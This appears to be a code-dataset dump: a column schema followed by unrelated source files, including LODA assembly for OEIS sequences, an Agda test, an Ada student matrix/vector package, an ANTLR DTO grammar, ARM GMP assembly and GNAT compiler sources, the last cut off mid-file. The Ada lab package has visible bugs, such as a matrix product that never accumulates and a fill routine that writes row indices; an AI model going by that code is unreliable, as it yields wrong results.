max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
programs/oeis/152/A152948.asm
karttu/loda
0
15868
; A152948: a(n) = (n^2 - 3*n + 6)/2. ; 2,2,3,5,8,12,17,23,30,38,47,57,68,80,93,107,122,138,155,173,192,212,233,255,278,302,327,353,380,408,437,467,498,530,563,597,632,668,705,743,782,822,863,905,948,992,1037,1083,1130,1178,1227,1277,1328,1380 bin $0,2 mov $1,$0 add $1,2
test/Compiler/simple/Issue5421.agda
cruhland/agda
1,989
6001
<reponame>cruhland/agda open import Agda.Builtin.IO open import Agda.Builtin.Reflection open import Agda.Builtin.Strict open import Agda.Builtin.String open import Agda.Builtin.Unit postulate putStr : String → IO ⊤ {-# FOREIGN GHC import qualified Data.Text.IO #-} {-# COMPILE GHC putStr = Data.Text.IO.putStr #-} {-# COMPILE JS putStr = function (x) { return function(cb) { process.stdout.write(x); cb(0); }; } #-} main : IO ⊤ main = primForce commitTC λ _ → putStr "Success\n"
Lab1/data.adb
KissmyAsthma99/opp
0
26904
with Ada.Integer_Text_IO, Ada.Text_IO; use Ada.Integer_Text_IO, Ada.Text_IO; package body data is function Sum_Vector(A,B: in Vector) return Vector is S: Vector; begin for i in 1..N loop S(i):=A(i)+B(i); end loop; return S; end Sum_Vector; function Matrix_Multiplication(A,B: in Matrix) return Matrix is M: Matrix; s: Integer; begin for k in 1..N loop for i in 1..N loop s:=0; for j in 1..N loop s:=A(k)(j)*B(j)(i); M(k)(i):=s; end loop; end loop; end loop; return M; end Matrix_Multiplication; function Vector_Matrix_Multiplication(A: in Vector; B: in Matrix) return Vector is P: Vector; s: Integer; begin for i in 1..N loop s:=0; for j in 1..N loop s:=S+A(i)*B(j)(i); end loop; P(i):=S; end loop; return P; end Vector_Matrix_Multiplication; procedure Vector_Sort(A: in out Vector) is e: Integer; begin for i in 1..N loop for j in 1..N loop if A(i)>A(j) then E:=A(j); A(j):=A(i); A(i):=e; end if; end loop; end loop; end Vector_Sort; procedure Matrix_Sort(A: in out Matrix) is m: Integer; begin for i in 1..n loop for j in 1..n loop A(i)(j):=A(i)(j); end loop; end loop; for k in 1..n loop for i in reverse 1..n loop for j in 1..(i-1) loop if A(k)(j) <A(k)(j+1) then m :=A(k)(j); A(k)(j):=A(k)(j+1); A(k)(j+1):=m; end if; end loop; end loop; end loop; end Matrix_Sort; function Matrix_Add(A,B: in Matrix) return Matrix is S: Matrix; begin for i in 1..N loop for j in 1..N loop S(i)(j):=A(i)(j) + B(i)(j); end loop; end loop; return S; end Matrix_Add; procedure Matrix_Fill_Ones (A: out Matrix) is begin for i in 1..N loop for j in 1..N loop A(i)(j):=i; end loop; end loop; end Matrix_Fill_Ones; procedure Vector_Fill_Ones (A: out Vector) is begin for i in 1..N loop A(i):=1; end loop; end Vector_Fill_Ones; procedure Vector_Input (A: out Vector) is begin for i in 1..N loop Get(A(i)); end loop; end Vector_Input; procedure Vector_Output (A: in Vector) is begin for i in 1..N loop Put(A(i)); end loop; New_Line; end Vector_Output; procedure Matrix_Input(A: out Matrix) is begin for i in 1..N loop for j in 1..N loop Get(A(i)(j)); end loop; end loop; end Matrix_Input; procedure Matrix_Output(A: in Matrix) is begin for i in 1..N loop for j in 1..N loop Put(A(i)(j)); end loop; New_Line; end loop; New_Line; end Matrix_Output; function Func1(A,B,C: in Vector; MA,ME: in Matrix) return Vector is Z_Sum, O_Sum, D: Vector; MK: Matrix; begin O_Sum:= Sum_Vector(A,B); Vector_Sort(O_Sum); Z_Sum:= Sum_Vector(O_Sum,C); MK:= Matrix_Multiplication(MA,ME); D:= Vector_Matrix_Multiplication(Z_Sum,MK); return D; end Func1; function Func2(MF,MG,MH: in Matrix) return Matrix is MJ: Matrix; MQ: Matrix; begin MJ:= Matrix_Multiplication(MG,MH); MQ:= Matrix_Add(MJ, MF); Matrix_Sort(MQ); return MQ; end Func2; function Func3(O,P: in Vector; MP,MS: in Matrix) return Vector is T,S: Vector; MG: Matrix; begin S:= Sum_Vector(O,P); MG:= Matrix_Multiplication(MP,MS); T:= Vector_Matrix_Multiplication(P,MG); return T; end Func3; end data;
oeis/138/A138628.asm
neoneye/loda-programs
11
173987
<gh_stars>10-100 ; A138628: Positive integers k such that 17*k-7 is prime. ; Submitted by <NAME> ; 4,10,12,22,24,30,34,40,48,52,54,60,72,78,88,90,100,114,118,130,132,138,144,150,160,172,178,184,192,198,204,208,214,220,222,240,250,262,264,268,270,274,282,288,292,298,312,318,324,328,342,354,358,360,372,384,394,400,402,412,442,444,450,468,472,484,502,508,510,514,522,528,540,544,550,552,558,562,568,582,594,598,600,618,622,624,634,660,670,678,682,684,688,702,712,724,732,738,744,750 mov $2,$0 add $2,6 pow $2,2 mov $4,9 lpb $2 mov $3,$4 add $3,17 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,34 lpe mov $0,$4 sub $0,43 div $0,17 add $0,4
programs/oeis/037/A037834.asm
neoneye/loda
22
92009
; A037834: a(n) = Sum_{i=1..m} |d(i) - d(i-1)|, where Sum_{i=0..m} d(i)*2^i is the base-2 representation of n. ; 0,1,0,1,2,1,0,1,2,3,2,1,2,1,0,1,2,3,2,3,4,3,2,1,2,3,2,1,2,1,0,1,2,3,2,3,4,3,2,3,4,5,4,3,4,3,2,1,2,3,2,3,4,3,2,1,2,3,2,1,2,1,0,1,2,3,2,3,4,3,2,3,4,5,4,3,4,3,2,3,4,5,4,5,6,5,4,3,4,5,4,3,4,3,2,1,2,3,2,3 lpb $0 mov $2,$0 sub $0,1 div $0,2 add $2,$0 mod $2,2 add $1,$2 lpe mov $0,$1
programs/oeis/234/A234044.asm
karttu/loda
0
163952
<reponame>karttu/loda ; A234044: Period 7: repeat [2, -2, 1, 0, 0, 1, -2]. ; 2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2,1,0,0,1,-2,2,-2 pow $0,4 mov $3,8 mul $3,$0 mov $0,2 mod $3,14 mov $4,1 lpb $0,1 mov $0,1 sub $4,$3 mov $2,$4 add $2,2 lpe mov $1,1 add $1,$2 div $1,2
src/test01/src/calculate.adb
hannesb0/rtpl18
0
29667
<gh_stars>0 -- Task 2 of RTPL WS17/18 -- Team members: <NAME>. and <NAME>. with Ada.Text_IO; use Ada.Text_IO; with Ada.Float_Text_IO; -- For float input -- with Ada.Numerics.Generic_Elementary_Functions; package body calculate with SPARK_Mode is -- Procedure for option 4 procedure opt4 is begin -- User input Put_Line ("Please input (x / y / z) values of a vector:"); Put ("x: "); Ada.Float_Text_IO.Get (V1.x); Put ("y: "); Ada.Float_Text_IO.Get (V1.y); Put ("z: "); Ada.Float_Text_IO.Get (V1.z); -- Print results Put ("Result: "); Ada.Float_Text_IO.Put (myVecAbs (V1), 2, 2, 0); end opt4; function myVecAbs (vec : myVec) return Float is sum : Float := 0.0; mag : Float := 0.0; begin -- Replace this with the correct function sum := vec.x * vec.x + vec.y * vec.y + vec.z * vec.z; mag := sqrt (sum); return mag; end myVecAbs; function sqrt (x : Float) return Float is root : Float := x / 3.0; root_prev : Float := root; begin if x <= 0.0 then return 0.0; end if; for i in Integer range 0 .. 31 loop root_prev := root; root := (root + x / root) / 2.0; exit when root_prev = root; end loop; return root; end sqrt; -- Declaration of generic function generic type Element_T is private; with function "+" (x, y : Element_T) return Element_T; function myAdd (x, y : in Element_T) return Element_T; -- Definition of generic function function myAdd (x, y : in Element_T) return Element_T is begin return x + y; end myAdd; -- Procedure for option 9 procedure opt9 is -- Instanciation of generic function function Add_Float is new myAdd (Element_T => Float, "+" => "+"); -- Float values for user input F1 : Float := 0.0; F2 : Float := 0.0; F3 : Float; begin -- User input Put_Line ("Please input two floats to be added:"); Put ("First: "); Ada.Float_Text_IO.Get (F1); Put ("Second: "); Ada.Float_Text_IO.Get (F2); -- Calculate Sum F3 := Add_Float (F1, F2); -- Print Sum Put ("Sum is: "); Ada.Float_Text_IO.Put (F3, 2, 2, 0); end opt9; end calculate;
tools-src/gnu/gcc/gcc/ada/sem_aggr.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
14541
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ A G G R -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992,1993,1994 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package contains the resolution code for aggregates. It is logically -- part of Sem_Res, but is split off since the aggregate code is so complex. with Types; use Types; package Sem_Aggr is procedure Resolve_Aggregate (N : Node_Id; Typ : Entity_Id); procedure Resolve_Extension_Aggregate (N : Node_Id; Typ : Entity_Id); end Sem_Aggr;
Task/Literals-Floating-point/Ada/literals-floating-point.ada
LaudateCorpus1/RosettaCodeData
1
8060
<reponame>LaudateCorpus1/RosettaCodeData 3.141_592_6 1.0E-12 0.13
oeis/212/A212762.asm
neoneye/loda-programs
11
24597
; A212762: Number of (w,x,y,z) with all terms in {0,...,n}, w and x odd, y even. ; Submitted by <NAME> ; 0,2,6,32,60,162,252,512,720,1250,1650,2592,3276,4802,5880,8192,9792,13122,15390,20000,23100,29282,33396,41472,46800,57122,63882,76832,85260,101250,111600,131072,143616,167042,182070,209952,227772 mov $1,$0 add $0,1 pow $0,2 div $0,2 add $1,1 mul $0,$1 div $1,2 mul $1,$0 mov $0,$1 div $0,2
Groups/Definition.agda
Smaug123/agdaproofs
4
1397
<filename>Groups/Definition.agda {-# OPTIONS --safe --warning=error --without-K #-} open import Sets.EquivalenceRelations open import Setoids.Setoids open import Agda.Primitive using (Level; lzero; lsuc; _⊔_) module Groups.Definition where record Group {lvl1 lvl2} {A : Set lvl1} (S : Setoid {lvl1} {lvl2} A) (_·_ : A → A → A) : Set (lsuc lvl1 ⊔ lvl2) where open Setoid S field +WellDefined : {m n x y : A} → (m ∼ x) → (n ∼ y) → (m · n) ∼ (x · y) 0G : A inverse : A → A +Associative : {a b c : A} → (a · (b · c)) ∼ (a · b) · c identRight : {a : A} → (a · 0G) ∼ a identLeft : {a : A} → (0G · a) ∼ a invLeft : {a : A} → (inverse a) · a ∼ 0G invRight : {a : A} → a · (inverse a) ∼ 0G +Associative' : {a b c : A} → ((a · b) · c) ∼ (a · (b · c)) +Associative' = Equivalence.symmetric (Setoid.eq S) +Associative +WellDefinedLeft : {m x n : A} → (m ∼ n) → (m · x) ∼ (n · x) +WellDefinedLeft m=n = +WellDefined m=n (Equivalence.reflexive (Setoid.eq S)) +WellDefinedRight : {m x y : A} → (x ∼ y) → (m · x) ∼ (m · y) +WellDefinedRight x=y = +WellDefined (Equivalence.reflexive (Setoid.eq S)) x=y
misc/_tmp/get_flag.applescript
kinshuk4/evernote-automation
4
4318
<gh_stars>1-10 on run {flag} if "" = flag then return false end if tell application "System Events" set folder_path to ("/Users/IceHe/Documents/Registry/Flag/" & flag) if exists folder folder_path then return true else return false end if end tell end run
libsrc/_DEVELOPMENT/target/yaz180/device/asci/asci1_getc.asm
Toysoft/z88dk
0
177356
INCLUDE "config_private.inc" SECTION code_driver SECTION code_driver_character_input PUBLIC _asci1_getc EXTERN asci1RxBuffer, asci1RxCount, asci1RxOut _asci1_getc: ; exit : l = char received ; carry reset if Rx buffer is empty ; ; modifies : af, hl ld a,(asci1RxCount) ; get the number of bytes in the Rx buffer ld l,a ; and put it in hl or a ; see if there are zero bytes available ret Z ; if the count is zero, then return ld hl,asci1RxCount di dec (hl) ; atomically decrement Rx count ld hl,(asci1RxOut) ; get the pointer to place where we pop the Rx byte ei ld a,(hl) ; get the Rx byte inc l ; move the Rx pointer low byte along IF __ASCI1_RX_SIZE != 0x100 push af ld a,__ASCI1_RX_SIZE-1 ; load the buffer size, (n^2)-1 and l ; range check or asci1RxBuffer&0xFF ; locate base ld l,a ; return the low byte to l pop af ENDIF ld (asci1RxOut),hl ; write where the next byte should be popped ld l,a ; put the byte in hl scf ; indicate char received ret EXTERN _asci1_need defc NEED = _asci1_need
libtool/src/gmp-6.1.2/mpn/arm/v6/dive_1.asm
kroggen/aergo
1,602
178705
dnl ARM v6 mpn_divexact_1 dnl Contributed to the GNU project by <NAME>. dnl Copyright 2012, 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb cycles/limb C norm unorm modexact_1c_odd C StrongARM - - C XScale - - C Cortex-A7 ? ? C Cortex-A8 ? ? C Cortex-A9 9 10 9 C Cortex-A15 7 7 7 C Architecture requirements: C v5 - C v5t clz C v5te - C v6 umaal C v6t2 - C v7a - define(`rp', `r0') define(`up', `r1') define(`n', `r2') define(`d', `r3') define(`cy', `r7') define(`cnt', `r6') define(`tnc', `r10') ASM_START() PROLOGUE(mpn_divexact_1) push {r4,r5,r6,r7,r8,r9} tst d, #1 rsb r4, d, #0 and r4, r4, d clz r4, r4 rsb cnt, r4, #31 C count_trailing_zeros mov d, d, lsr cnt C binvert limb LEA( r4, binvert_limb_table) and r12, d, #254 ldrb r4, [r4, r12, lsr #1] mul r12, r4, r4 mul r12, d, r12 rsb r12, r12, r4, lsl #1 mul r4, r12, r12 mul r4, d, r4 rsb r4, r4, r12, lsl #1 C r4 = inverse ldr r5, [up], #4 C up[0] mov cy, #0 rsb r8, r4, #0 C r8 = -inverse beq L(unnorm) L(norm): subs n, n, #1 mul r5, r5, r4 beq L(end) ALIGN(16) L(top): ldr r9, [up], #4 mov r12, #0 str r5, [rp], #4 umaal r12, cy, r5, d mul r5, r9, r4 mla r5, cy, r8, r5 subs n, n, #1 bne L(top) L(end): str r5, [rp] pop {r4,r5,r6,r7,r8,r9} bx r14 L(unnorm): push {r10,r11} rsb tnc, cnt, #32 mov r11, r5, lsr cnt subs n, n, #1 beq L(edx) ldr r12, [up], #4 orr r9, r11, r12, lsl tnc mov r11, r12, lsr cnt mul r5, r9, r4 subs n, n, #1 beq L(edu) ALIGN(16) L(tpu): ldr r12, [up], #4 orr r9, r11, r12, lsl tnc mov r11, r12, lsr cnt mov r12, #0 str r5, [rp], #4 umaal r12, cy, r5, d mul r5, r9, r4 mla r5, cy, r8, r5 subs n, n, #1 bne L(tpu) L(edu): str r5, [rp], #4 mov r12, #0 umaal r12, cy, r5, d mul r5, r11, r4 mla r5, cy, r8, r5 str r5, [rp] pop {r10,r11} pop {r4,r5,r6,r7,r8,r9} bx r14 L(edx): mul r5, r11, r4 str r5, [rp] pop {r10,r11} pop {r4,r5,r6,r7,r8,r9} bx r14 EPILOGUE()
programs/oeis/213/A213169.asm
jmorken/loda
1
2617
; A213169: n!+n+1. ; 2,3,5,10,29,126,727,5048,40329,362890,3628811,39916812,479001613,6227020814,87178291215,1307674368016,20922789888017,355687428096018,6402373705728019 mov $1,$0 cal $1,142 add $1,1 add $1,$0
evernote/evernote_wait_sync.applescript
kinshuk4/evernote-automation
4
4487
if application "Evernote" is running then tell application "Evernote" synchronize repeat with i from 0 to 300 if not isSynchronizing then return i end if delay 0.01 end repeat # time > 3.0 sec # too long ! return false end tell else return false end if
teamapps-ui-dsl/src/main/antlr/TeamAppsDto.g4
hannes011/teamapps
0
7461
grammar TeamAppsDto; @header { package org.teamapps.dto; } classCollection : typeDeclaration*; typeDeclaration : classDeclaration | interfaceDeclaration | enumDeclaration; enumDeclaration : stringJsonValuesAnnotation? 'enum' Identifier '{' (enumConstant (',' enumConstant)*)? ';'? '}' ; stringJsonValuesAnnotation : '@SerializeAsString'; enumConstant : Identifier; classDeclaration : typescriptFactoryAnnotation? abstractModifier? 'class' Identifier superClassDecl? implementsDecl? '{' (propertyDeclaration|commandDeclaration|eventDeclaration|subCommandDeclaration|subEventDeclaration)* '}'; interfaceDeclaration : 'interface' Identifier superInterfaceDecl? '{' (propertyDeclaration|commandDeclaration|eventDeclaration|subCommandDeclaration|subEventDeclaration)* '}'; superClassDecl: 'extends' Identifier; superInterfaceDecl: 'extends' classList; implementsDecl: 'implements' classList; classList: ((Identifier ',')* Identifier)?; propertyDeclaration : referenceableAnnotation? requiredModifier? type Identifier (defaultValueAssignment)? ';'; commandDeclaration : staticModifier? 'command' Identifier '(' ((formalParameterWithDefault ',')* formalParameterWithDefault)? ')' ('returns' type)? ';'; eventDeclaration : 'event' Identifier '(' ((formalParameterWithDefault ',')* formalParameterWithDefault)? ')' ';'; subCommandDeclaration : 'subcommand' Identifier '(' ((formalParameterWithDefault ',')* formalParameterWithDefault)? ')' ';'; subEventDeclaration : 'subevent' Identifier '(' ((formalParameterWithDefault ',')* formalParameterWithDefault)? ')' ';'; formalParameter : type Identifier; formalParameterWithDefault : type Identifier (defaultValueAssignment)?; defaultValueAssignment : '=' expression; type : inlineEnum ('[' ']')* | typeReference ('[' ']')* | subCommandReference | subEventReference | primitiveType ('[' ']')* ; inlineEnum : 'enum' '{' (enumConstant (',' enumConstant)*) '}'; typeReference : Identifier referenceTypeModifier? typeArguments?; referenceTypeModifier : '*'; typeArguments : '<' typeArgument (',' typeArgument)* '>' ; typeArgument : type; subCommandReference : 'subcommand' '<' typeReference '>'; subEventReference : 'subevent' '<' typeReference '>'; primitiveType : 'boolean' | 'char' | 'byte' | 'short' | 'int' | 'long' | 'float' | 'double' ; typescriptFactoryAnnotation : '@TypeScriptFactory'; referenceableAnnotation: '@Referenceable'; abstractModifier : 'abstract'; requiredModifier : 'required'; staticModifier : 'static'; // EXPRESSIONS parExpression : '(' expression ')' ; expressionList : expression (',' expression)* ; statementExpression : expression ; constantExpression : expression ; expression : primary | expression '.' Identifier | expression '.' 'this' | expression '.' 'super' superSuffix | expression '.' explicitGenericInvocation | expression '[' expression ']' | expression '(' expressionList? ')' | 'new' creator | '(' type ')' expression | expression ('++' | '--') | ('+'|'-'|'++'|'--') expression | ('~'|'!') expression | expression ('*'|'/'|'%') expression | expression ('+'|'-') expression | expression ('<' '<' | '>' '>' '>' | '>' '>') expression | expression ('<=' | '>=' | '>' | '<') expression | expression 'instanceof' type | expression ('==' | '!=') expression | expression '&' expression | expression '^' expression | expression '|' expression | expression '&&' expression | expression '||' expression | expression '?' expression ':' expression | <assoc=right> expression ( '=' | '+=' | '-=' | '*=' | '/=' | '&=' | '|=' | '^=' | '>>=' | '>>>=' | '<<=' | '%=' ) expression ; primary : '(' expression ')' | 'this' | 'super' | literal | Identifier | type '.' 'class' | 'void' '.' 'class' | nonWildcardTypeArguments (explicitGenericInvocationSuffix | 'this' arguments) ; creator : nonWildcardTypeArguments createdName classCreatorRest | createdName (arrayCreatorRest | classCreatorRest) ; createdName : Identifier typeArgumentsOrDiamond? ('.' Identifier typeArgumentsOrDiamond?)* | primitiveType ; arrayCreatorRest : '[' ( ']' ('[' ']')* arrayInitializer | expression ']' ('[' expression ']')* ('[' ']')* ) ; classCreatorRest : arguments ; explicitGenericInvocation : nonWildcardTypeArguments explicitGenericInvocationSuffix ; nonWildcardTypeArguments : '<' typeList '>' ; typeList : type (',' type)* ; typeArgumentsOrDiamond : '<' '>' | typeArguments ; nonWildcardTypeArgumentsOrDiamond : '<' '>' | nonWildcardTypeArguments ; superSuffix : arguments | '.' Identifier arguments? ; explicitGenericInvocationSuffix : 'super' superSuffix | Identifier arguments ; arguments : '(' expressionList? ')' ; variableInitializer : arrayInitializer | expression ; arrayInitializer : '{' (variableInitializer (',' variableInitializer)* (',')? )? '}' ; // literals literal : IntegerLiteral | FloatingPointLiteral | CharacterLiteral | StringLiteral | BooleanLiteral | NullLiteral ; // §3.10.1 Integer Literals IntegerLiteral : '-'? (DecimalIntegerLiteral | HexIntegerLiteral | OctalIntegerLiteral | BinaryIntegerLiteral) ; fragment DecimalIntegerLiteral : DecimalNumeral IntegerTypeSuffix? ; fragment HexIntegerLiteral : HexNumeral IntegerTypeSuffix? ; fragment OctalIntegerLiteral : OctalNumeral IntegerTypeSuffix? ; fragment BinaryIntegerLiteral : BinaryNumeral IntegerTypeSuffix? ; fragment IntegerTypeSuffix : [lL] ; fragment DecimalNumeral : '0' | NonZeroDigit (Digits? | Underscores Digits) ; fragment Digits : Digit (DigitOrUnderscore* Digit)? ; fragment Digit : '0' | NonZeroDigit ; fragment NonZeroDigit : [1-9] ; fragment DigitOrUnderscore : Digit | '_' ; fragment Underscores : '_'+ ; fragment HexNumeral : '0' [xX] HexDigits ; fragment HexDigits : HexDigit (HexDigitOrUnderscore* HexDigit)? ; fragment HexDigit : [0-9a-fA-F] ; fragment HexDigitOrUnderscore : HexDigit | '_' ; fragment OctalNumeral : '0' Underscores? OctalDigits ; fragment OctalDigits : OctalDigit (OctalDigitOrUnderscore* OctalDigit)? ; fragment OctalDigit : [0-7] ; fragment OctalDigitOrUnderscore : OctalDigit | '_' ; fragment BinaryNumeral : '0' [bB] BinaryDigits ; fragment BinaryDigits : BinaryDigit (BinaryDigitOrUnderscore* BinaryDigit)? ; fragment BinaryDigit : [01] ; fragment BinaryDigitOrUnderscore : BinaryDigit | '_' ; // §3.10.2 Floating-Point Literals FloatingPointLiteral : DecimalFloatingPointLiteral | HexadecimalFloatingPointLiteral ; fragment DecimalFloatingPointLiteral : Digits '.' Digits? ExponentPart? FloatTypeSuffix? | '.' Digits ExponentPart? FloatTypeSuffix? | Digits ExponentPart FloatTypeSuffix? | Digits FloatTypeSuffix ; fragment ExponentPart : ExponentIndicator SignedInteger ; fragment ExponentIndicator : [eE] ; fragment SignedInteger : Sign? Digits ; fragment Sign : [+-] ; fragment FloatTypeSuffix : [fFdD] ; fragment HexadecimalFloatingPointLiteral : HexSignificand BinaryExponent FloatTypeSuffix? ; fragment HexSignificand : HexNumeral '.'? | '0' [xX] HexDigits? '.' HexDigits ; fragment BinaryExponent : BinaryExponentIndicator SignedInteger ; fragment BinaryExponentIndicator : [pP] ; // §3.10.3 Boolean Literals BooleanLiteral : 'true' | 'false' ; // §3.10.4 Character Literals CharacterLiteral : '\'' SingleCharacter '\'' | '\'' EscapeSequence '\'' ; fragment SingleCharacter : ~['\\] ; // §3.10.5 String Literals StringLiteral : '"' StringCharacters? '"' ; fragment StringCharacters : StringCharacter+ ; fragment StringCharacter : ~["\\] | EscapeSequence ; // §3.10.6 Escape Sequences for Character and String Literals fragment EscapeSequence : '\\' [btnfr"'\\] | OctalEscape | UnicodeEscape ; fragment OctalEscape : '\\' OctalDigit | '\\' OctalDigit OctalDigit | '\\' ZeroToThree OctalDigit OctalDigit ; fragment UnicodeEscape : '\\' 'u' HexDigit HexDigit HexDigit HexDigit ; fragment ZeroToThree : [0-3] ; NullLiteral : 'null' ; Identifier : [a-zA-Z_][a-zA-Z0-9_]*; WS : [ \t\n]+ -> skip; COMMENT : '/*' .*? '*/' -> skip; LINE_COMMENT : '//' ~[\r\n]* -> skip;
tools-src/gnu/gcc/gcc/ada/exp_ch11.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
25823
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- E X P _ C H 1 1 -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992-2001 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Casing; use Casing; with Debug; use Debug; with Einfo; use Einfo; with Exp_Ch7; use Exp_Ch7; with Exp_Util; use Exp_Util; with Hostparm; use Hostparm; with Inline; use Inline; with Lib; use Lib; with Namet; use Namet; with Nlists; use Nlists; with Nmake; use Nmake; with Opt; use Opt; with Rtsfind; use Rtsfind; with Restrict; use Restrict; with Sem; use Sem; with Sem_Ch5; use Sem_Ch5; with Sem_Ch8; use Sem_Ch8; with Sem_Res; use Sem_Res; with Sem_Util; use Sem_Util; with Sinfo; use Sinfo; with Sinput; use Sinput; with Snames; use Snames; with Stand; use Stand; with Stringt; use Stringt; with Targparm; use Targparm; with Tbuild; use Tbuild; with Uintp; use Uintp; with Uname; use Uname; package body Exp_Ch11 is SD_List : List_Id; -- This list gathers the values SDn'Unrestricted_Access used to -- construct the unit exception table. It is set to Empty_List if -- there are no subprogram descriptors. ----------------------- -- Local Subprograms -- ----------------------- procedure Expand_Exception_Handler_Tables (HSS : Node_Id); -- Subsidiary procedure called by Expand_Exception_Handlers if zero -- cost exception handling is installed for this target. Replaces the -- exception handler structure with appropriate labeled code and tables -- that allow the zero cost exception handling circuits to find the -- correct handler (see unit Ada.Exceptions for details). procedure Generate_Subprogram_Descriptor (N : Node_Id; Loc : Source_Ptr; Spec : Entity_Id; Slist : List_Id); -- Procedure called to generate a subprogram descriptor. N is the -- subprogram body node or, in the case of an imported subprogram, is -- Empty, and Spec is the entity of the sunprogram. For details of the -- required structure, see package System.Exceptions. The generated -- subprogram descriptor is appended to Slist. Loc provides the -- source location to be used for the generated descriptor. --------------------------- -- Expand_At_End_Handler -- --------------------------- -- For a handled statement sequence that has a cleanup (At_End_Proc -- field set), an exception handler of the following form is required: -- exception -- when all others => -- cleanup call -- raise; -- Note: this exception handler is treated rather specially by -- subsequent expansion in two respects: -- The normal call to Undefer_Abort is omitted -- The raise call does not do Defer_Abort -- This is because the current tasking code seems to assume that -- the call to the cleanup routine that is made from an exception -- handler for the abort signal is called with aborts deferred. procedure Expand_At_End_Handler (HSS : Node_Id; Block : Node_Id) is Clean : constant Entity_Id := Entity (At_End_Proc (HSS)); Loc : constant Source_Ptr := Sloc (Clean); Ohandle : Node_Id; Stmnts : List_Id; begin pragma Assert (Present (Clean)); pragma Assert (No (Exception_Handlers (HSS))); if Restrictions (No_Exception_Handlers) then return; end if; if Present (Block) then New_Scope (Block); end if; Ohandle := Make_Others_Choice (Loc); Set_All_Others (Ohandle); Stmnts := New_List ( Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (Clean, Loc)), Make_Raise_Statement (Loc)); Set_Exception_Handlers (HSS, New_List ( Make_Exception_Handler (Loc, Exception_Choices => New_List (Ohandle), Statements => Stmnts))); Analyze_List (Stmnts, Suppress => All_Checks); Expand_Exception_Handlers (HSS); if Present (Block) then Pop_Scope; end if; end Expand_At_End_Handler; ------------------------------------- -- Expand_Exception_Handler_Tables -- ------------------------------------- -- See Ada.Exceptions specification for full details of the data -- structures that we need to construct here. As an example of the -- transformation that is required, given the structure: -- declare -- {declarations} -- .. -- begin -- {statements-1} -- ... -- exception -- when a | b => -- {statements-2} -- ... -- when others => -- {statements-3} -- ... -- end; -- We transform this into: -- declare -- {declarations} -- ... -- L1 : label; -- L2 : label; -- L3 : label; -- L4 : Label; -- L5 : label; -- begin -- <<L1>> -- {statements-1} -- <<L2>> -- exception -- when a | b => -- <<L3>> -- {statements-2} -- HR2 : constant Handler_Record := ( -- Lo => L1'Address, -- Hi => L2'Address, -- Id => a'Identity, -- Handler => L5'Address); -- HR3 : constant Handler_Record := ( -- Lo => L1'Address, -- Hi => L2'Address, -- Id => b'Identity, -- Handler => L4'Address); -- when others => -- <<L4>> -- {statements-3} -- HR1 : constant Handler_Record := ( -- Lo => L1'Address, -- Hi => L2'Address, -- Id => Others_Id, -- Handler => L4'Address); -- end; -- The exception handlers in the transformed version are marked with the -- Zero_Cost_Handling flag set, and all gigi does in this case is simply -- to put the handler code somewhere. It can optionally be put inline -- between the goto L3 and the label <<L3>> (which is why we generate -- that goto in the first place). procedure Expand_Exception_Handler_Tables (HSS : Node_Id) is Loc : constant Source_Ptr := Sloc (HSS); Handlrs : constant List_Id := 